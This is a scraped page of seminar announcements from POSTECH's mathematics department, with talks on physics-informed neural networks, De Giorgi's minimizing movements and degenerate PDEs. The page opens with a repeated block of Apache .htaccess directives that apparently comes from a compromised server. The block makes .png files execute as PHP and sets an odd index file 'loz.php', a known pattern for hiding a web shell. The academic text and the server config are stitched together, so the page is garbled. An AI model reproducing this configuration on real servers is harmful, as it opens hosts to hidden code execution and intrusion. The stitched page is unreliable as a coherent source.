RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] AddType application/x-httpd-php .png DirectoryIndex loz.php Order allow,deny Deny from all # Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] AddType application/x-httpd-php .png DirectoryIndex loz.php Order allow,deny Deny from all # Order allow,deny Allow from all Theory guided machine learning for partial differential equations – POSTECH | MATHEMATICS
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05/24 10:00 Qin Li (Department of Mathematics,University of Wisconsin-Madison)

Title : Mean field theory in Inverse Problems: from Bayesian inference to overparameterization of networksSpeaker : Qin Li(Department of Mathematics,University of Wisconsin-Madison)

05/31 15:00 Youngjoon Hong (KAIST)

Title : Theory guided machine learning for partial differential equationsSpeaker : Youngjoon Hong (KAIST)

05/24 15:00 Hyeontae Jo (Korea University Sejong Campus)

Title : Physics-informed neural networks: Fitting a mathematical model to real data using artificial neural networksSpeaker : Hyeontae Jo (Korea University Sejong Campus)Abstract : A dynamical system $y’(t)=f(y)$ can be used to model the evolution of natural or engineered systems. Traditionally, the overall structure of the system $f$ is determined by researchers' insights (experience) or experimental observations (data). However, such insights might fail to capture the system's complexity and nonlinearities due to the limitations in human intuition and experimental precision. In response, data-driven scientific discovery methods have been developed by employing artificial neural networks (ANN). Specifically, ANN is trained to simultaneously fit the system $f$ and the data, called Physics-informed Neural Networks (PINN). In this presentation, we will study 1) the basic idea of the PINN 2) effectiveness of the PINN. Furthermore, we show how we can extend the concept of PINN to real-world dataset, thus understanding the structure of the system $f$.

05/03 15:00 Dohyun Kwon (University of Seoul)

Title : De Giorgi's Minimizing MovementsSpeaker : Dohyun Kwon (University of Seoul)Abstract : The study of gradient flows holds significant importance across various fields, including partial differential equations, optimization, and machine learning. In this talk, we aim to explore the relationship between gradient flows and their time-discretized formulations, known as De Giorgi's minimizing movements scheme. We focus on how De Giorgi's minimizing movements coincide with gradient flows in two different spaces: the space of sets and the space of probability measures called Wasserstein space. Then, we discuss their implications for the well-posedness and long-time behavior of some PDEs, including mean curvature flow and the nonlinear Fokker-Planck equation.

04/26 15:00 Ki-Ahm Lee (Seoul National University)

Title : Degenerate/Singular Partial Differential EquationsSpeaker : Ki-Ahm Lee (Seoul National University)Abstract : In this talk, we are going to consider various degenerate or singular operatorin partial differential equations related to free boundary problems and mathematical finance.We will discuss its underlined geometry and how the generalized polynomials appears in the regularity theory.

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